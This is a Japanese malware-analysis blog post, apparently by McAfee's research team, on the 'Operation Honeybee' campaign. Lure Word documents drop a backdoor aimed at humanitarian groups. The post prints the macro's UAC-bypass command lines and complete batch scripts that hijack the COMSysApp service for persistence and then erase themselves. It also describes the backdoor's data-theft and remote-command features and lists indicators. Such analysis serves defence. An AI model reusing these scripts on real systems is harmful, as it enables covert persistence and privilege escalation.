マカフィーのMcAfee Advanced Threat Research(ATR)チームは、北朝鮮の政治的な話題を利用し不正なMicrosoft Word文書を開かせようとする、人道支援団体を狙った標的型攻撃を新たに発見しました。使われている不正文書の名前から、この攻撃は「Operation Honeybee」と名付けられました。
また、ARTチームのアナリストは、同じ攻撃者が作成した戦術の異なる不正文書も発見しました。この文書には、この攻撃者がよく使用している「おとり」が含まれておらず、Wordの互換性に関するメッセージを表示して、被害者にファイルを開かせようとします。
さらに、1月15日から17日にかけて、このスクリプトがベトナムで大量に確認されました。
目次
1.経緯
1月15日、ATRチームは、SYSCONバックドアの新亜種を利用した攻撃を発見しました。1月17日には、Honeybeeという元々の作成者の名前が刻まれた韓国語のWord文書がベトナムで出現しました。
この不正文書に含まれるVisual Basicマクロが、SYSCONというスクリプトのアップグレード版をドロップし、実行します。このスクリプトは、2017年、北朝鮮に関連する内容を騙った攻撃に使われた不正Word文書に含まれていたものです。この不正Visual Basicスクリプトが、ユニーク キー(カスタム アルファベット)を使ってデータをエンコードします。このキーは、SYSCONを使った過去の攻撃で確認されているものです。Honeybee攻撃にも使用されているということは、2017年8月以降も継続的に使用されていたようです。
1月17日から2月3日にかけて、追加の不正文書が確認されました。どの文書にも、Honeybeeと同じVisual Basicマクロ コードと作成者名が含まれています。一部の不正文書は、スクリプトを含まないテスト ファイルでした。ATRチームの分析から、これらの文書の大部分は、韓国から送信されたことが判明しています。つまり、一部の標的型攻撃は韓国内から行われたということです。Honeybee文書には、具体的なおとりが含まれておらず、「互換性がない」というメッセージを表示し、ユーザーによるコンテンツの有効化を誘導していました。
また、これに関係して、Windows Userという作成者が1月12日に作成した不正文書も確認されました。使われているエンコード キーは異なるものの、最近確認されたHoneybee文書と実質的に同じマクロと同種のスクリプトが使われていました。この「International Federation of Red Cross and Red Crescent Societies ? DPRK Country Office」(国際赤十字赤新月社連盟北朝鮮支部)の文書は、管理サーバーアドレスが1113427185.ifastnet.orgのスクリプトをドロップし、これは、Honeybeeに含まれているスクリプトと同じサーバーです。
2.MaoChengドロッパー
ATRチームは、不正文書だけでなく、Win32ベースの実行可能ドロッパー ファイルも発見しました。このドロッパーは、Adobe Systemsから盗まれたデジタル シグネチャを使用します。
また、この認証情報は、以下のような興味深いプログラム データベース(PDB)パスを持つ、1月16日にコンパイルされた別の韓国語のマルウェア(ハッシュ値: 35904f482d37f5ce6034d6042bae207418e450f4)でも使用されています。
D:\Task\DDE Attack\MaoCheng\Release\Dropper.pdb
このマルウェアは、アイコンでWord文書になりすましたWin32実行可能ファイルです。
これは、他のWord文書で確認されたマルウェアと同種のマルウェア用のドロッパーで、このサンプルも、Honeybeeという作成者名が記載された「おとり」文書をドロップしていました。ただし、このサンプルにはバグが含まれており、ドロッパーの実行フローは中断します。このことは、作成者がコード サイニング後にマルウェアをテストしていないということを示しています。
こちらのおとり文書は、クラウドベースの会計ソフトウェア「Xero」で被害者を誘い込んでいます。
3.考えられる攻撃者
ATRチームは、最近発生したこの攻撃に関わるsnoopykiller@mail.ruという人物を特定しました。ATRの分析から、この攻撃者は、韓国で普及している検索エンジンのnavermail.byethost3.comと、nihon.byethost11.comという2つの無料アカウントに登録していることが分かりました。この電子メールアドレスは、ATRの分析に出現するすべてのスクリプトで、制御サーバー用の無料アカウントを登録するために使われていました。
4.技術的分析
この攻撃の概要を図で表すと以下の通りです。
続いて、この攻撃に関わるコンポーネントです。
感染は、不正なWordファイルから始まります。これが、2つのDLLファイルをドロップします。このWordファイルには、開くとDocument_Open() オートロード関数を使ってWordで実行する不正なVisual Basicマクロ コードが含まれています。また、マクロが読み取って解読し、ディスクにドロップするBase64エンコードされたファイル(カスタム キーを使用)も含まれています。
Visual Basicマクロは、以下のタスクを実行します。
- 不正文書へのハンドルを開き、エンコードされたCABファイルを読み取る
- CABファイルをデコードし、%temp%\setup.cabのディスクに書き込む
CABファイルには、以下のファイルと関数が含まれています。
- dll: バッチ ファイルを起動するための不正なDLL(UACを迂回するためにexeと共に使用される)。このDLLには、D:\Task\MiMul\NTWDBLIB\Release\NTWDBLIB.pdbというPDBパスが含まれます。
- bat: x64システムのためのCOMSysAppサービス設定用バッチ ファイル
- bat: x86システムのためのCOMSysAppサービス設定用バッチ ファイル
- ini: FTPサーバーに接続するためのBase64エンコードされたデータを含むデータ ファイル。認証情報は、.iniファイルでエンコードされます。
- dll: サービスとして実行される不正なDLLファイル(exeを使用)。このDLLには、D:\Task\MiMul\FTPCom_vs10\Release\Engine.pdbというPDBパスが含まれます。
- このマクロが、ここでもUACプロンプトの回避を目的として、exeまたはexpand.exe(OSによる)を使い、CABファイルを%systemroo%\system32に抽出します。
- すべてのファイルを抽出すると、CABファイルを削除し、exeを介して不正なNTWDBLIB.dllを実行します(特権を取得し、UAC保護を迂回するため)。
- Visual Basicマクロが使用するコマンドライン:
cmd /c wusa %TEMP%\setup.cab /quiet /extract:%SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe
cmd /c expand %TEMP%\setup.cab -F:* %SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe
UAC保護の迂回には、NTWDBLIB.dllとcliconfg.exeが使用されます。これは、Windowsでよく見かける攻撃です。DLLハイジャックでUACを迂回するには、次のファイルが必要です。
- マニフェストにオートエレベート プロパティを持つWindows実行可能ファイル
- 安全なディレクトリ(%systemroot%\system32)内のWindows実行可能ファイル
不正なNTWDBLIB DLLは、CABファイルに含まれる(また、%systemroot%\system32にもドロップされる)2つのバッチ ファイルのうちの1つを実行し、サービスとして不正なipnet.dllを設定するという簡単なタスクを実行します。
この攻撃に関与しているバッチ ファイルは、COMSysAppシステム サービスを改ざんし、不正なipnet.dllをロードします。バッチ ファイルの中身は、OS(x64またはx86)によってまったく異なります。
install1.bat (x64)
@echo off
sc stop COMSysApp
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\SysWOW64\svchost.exe -k COMSysApp"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\SysWOW64\ipnet.dll" /f
sc start COMSysApp
del /f /q %windir%\SysWOW64\install2.bat
del /f /q %windir%\SysWOW64\install1.bat
install2.bat (x86)
@echo off
sc stop COMSysApp
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\system32\ipnet.dll" /f
sc start COMSysApp
del /f /q %windir%\System32\install1.bat
del /f /q %windir%\System32\install2.bat
このバッチ ファイルは、以下のタスクを実行します。
- COMSysAppサービスを停止する
- サービスの自動開始を設定する(システムで永続性を確立するため)
- レジストリ キーを改ざんし、exeでDLLを起動する
- svchostプロセスにロードする不正なDLLパスを指定する
- 直ちにサービスを再開する
- バッチ ファイルを削除し、システム上の痕跡を消す
IPNet.dllは、svchost.exe下でサービスとして作動します。
不正DLLには、cliconfg.exeプロセスを中止し、以下のコマンドで不正なNTWDBLIB.dllを削除する役割もあります。
cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL
別途、指定されていない限り、以下に記載されるすべての機能は、不正なサービスDLLスクリプトによって実行されます。
5.北朝鮮赤十字を語る亜種
この不正Wordドロッパーの別の亜種(ハッシュ値: 9e2c0bd19a77d712055ccc0276fdc062e9351436)では、カスタム キーは異なるものの、同じBase64デコード法が用いられています。この文書は、1月10日に作成されていました。
この亜種には、2つのCABファイルが含まれ、OS(x86またはx64)に基づき%temp%にドロップされます。
この亜種には、主に次の特徴があります。
- 2つのCABファイルは、DOCファイルに添付されるのではなく、テキスト ボックス内のWord文書にエンコードされている。
- x86システム用とx64システム用に1つずつCABファイルが存在。
- このマルウェア サンプルは、dllを含むuacme.exeを使い、UACを回避する。
- exeは、UAC迂回攻撃に弱いプログラム。
- dllは、batを実行してサービスを設定(NTWDBLIB.dllと同様)。
- exeとdllは、64ビットか32ビット(OSに基づく)のバイナリ。Ipnet.dllも64ビットか32ビット。
- Visual Basicマクロは、以下のコマンド ラインを使用。
cmd /c expand %TEMP%\setup.cab -F:* %TEMP% && cd /d %TEMP% && del /f /q setup.cab && uacme.exe
- CABファイルに含まれる制御サーバーの認証情報が異なる。
この亜種と元々のマルウェア サンプルには、以下の類似点があります。
- サービス名が同じ(COMSysApp)。
- DLLとiniファイルには、本ブログの別セクションに記載される関数が含まれている。
6.データ偵察
エンドポイントから以下の情報が収集され、制御サーバーに送られます。
- システム情報
- コンピュータ―名
- cmd /c systeminfo >%temp%\temp.iniを使うシステム情報
- cmd /c tasklist >%temp%\temp.iniを使用して現在実行中のプロセスの一覧
7.データ抽出
- データ抽出プロセスは、以下の手順で行われます。iniファイルは、「From <コンピュータ―名> (<月>-<日> <時間>-<分>-<秒>).txt」というテキスト ファイルとしてコピーされます(例: From <コンピュータ―名> (01-04 11-40-02).txt)。
- これで、すべてのテキスト ファイルが、アーカイブのzip(%temp%\temp.zip)にパッキングされます。
- zipはBase64エンコードされ(不正文書で使用されるのと同じカスタム キーを使用)、txtにコピーされます。
- txtが制御サーバーにアップロードされます。
8.その他のコマンドと機能
このサービス ベースのDLLスクリプトは、FTPサーバー上の/htdocs/ディレクトリに移動し、以下のキーワードが含まれるファイルを探します。
- TO EVERYONE(感染したエンドポイントに必ず発行されるコマンド)
- TO <COMPUTERNAME>(ComputerNameが一致するエンドポイントに発行されるコマンド)
以下のコマンドは、マルウェア スクリプトによってサポートされています。
- cmd /c pull <filename>: temp.zipにファイル名を追加し、Base64エンコードして、制御サーバーにアップロードします。
- cmd /c chip <string>: 現在のini設定ファイルを削除します。新規の設定情報(制御サーバー接続情報)を新規のipnet.iniに書き込みます。
- cmd /c put <new_file_name> <existing_file_name>: 既存のファイル名を新規のファイル名にコピーし、既存のファイルを削除します。
- /user <parameters>: CreateProcessAsUserを使い、指定のパラメーターを持つダウンロード ファイルを実行します。
- cmd /c <command>: 感染したエンドポイントでコマンドを実行します。
9.結論
Honeybeeの攻撃者は、少なくとも2017年11月から、把握される限り初代のNTWDBLIBインストーラーを使った新スクリプトによる攻撃を展開しています。さらに、文書と実行可能ファイルに含まれるさまざまなメタデータから、この攻撃者は韓国語を話す人物であることが予想されます。
この不正文書で使用される、おとりメッセージなどの技法は、過去に韓国で確認された方法と非常によく似ています。攻撃者は、人道支援組織や南北朝鮮問題の関係者を標的としているものと思われます。この攻撃は、韓国を越え、ベトナム、シンガポール、アルゼンチン、日本、インドネシア、カナダにも拡大していることが確認されています。
マカフィーのATRチームの分析によると、過去のSYSCONバックドアに少し似ているものの、さまざまな部分で独自のコードが使われていました。一部の新ドロッパーは、今回初めて確認されました。MaoChengドロッパーは、この攻撃専用に作成されたようで、これまでに2回しか確認されていません。
10.攻撃の兆候
MITRE ATT&CK技法
- 既存のサービスを改ざんする
- コード サイニング
- ファイルの削除
- 難読化/デコード ファイルまたは情報
- システム情報の発見
- プロセスの発見
- サービスの実行
- RunDLL32
- スクリプティング
- コマンドライン インターフェース
- ローカル システムのデータ
- 自動抽出
- 暗号化データ
- 一般的なポート
- ユーザー アカウント制御を迂回
ハッシュ値
- fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3
- f684e15dd2e84bac49ea9b89f9b2646dc32a2477
- 1d280a77595a2d2bbd36b9b5d958f99be20f8e06
- 19d9573f0b2c2100accd562cc82d57adb12a57ec
- f90a2155ac492c3c2d5e1d83e384e1a734e59cc0
- 9b832dda912cce6b23da8abf3881fcf4d2b7ce09
- f3b62fea38cb44e15984d941445d24e6b309bc7b
- 66d2cea01b46c3353f4339a986a97b24ed89ee18
- 7113aaab61cacb6086c5531a453adf82ca7e7d03
- d41daba0ebfa55d0c769ccfc03dbf6a5221e006a
- 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c
- 35ab747c15c20da29a14e8b46c07c0448cef4999
- e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42
- 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0
- bca861a46d60831a3101c50f80a6d626fa99bf16
- 01530adb3f947fabebae5d9c04fb69f9000c3cef
- 4229896d61a5ad57ed5c247228606ce62c7032d0
- 4c7e975f95ebc47423923b855a7530af52977f57
- 5a6ad7a1c566204a92dd269312d1156d51e61dc4
- 1dc50bfcab2bc80587ac900c03e23afcbe243f64
- 003e21b02be3248ff72cc2bfcd05bb161b6a2356
- 9b7c3c48bcef6330e3086de592b3223eb198744a
- 85e2453b37602429596c9681a8c58a5c6faf8d0c
ドメイン
- byethost31.com
- byethost11.com
- ifastnet.org
- byethost3.com
- byethost3.com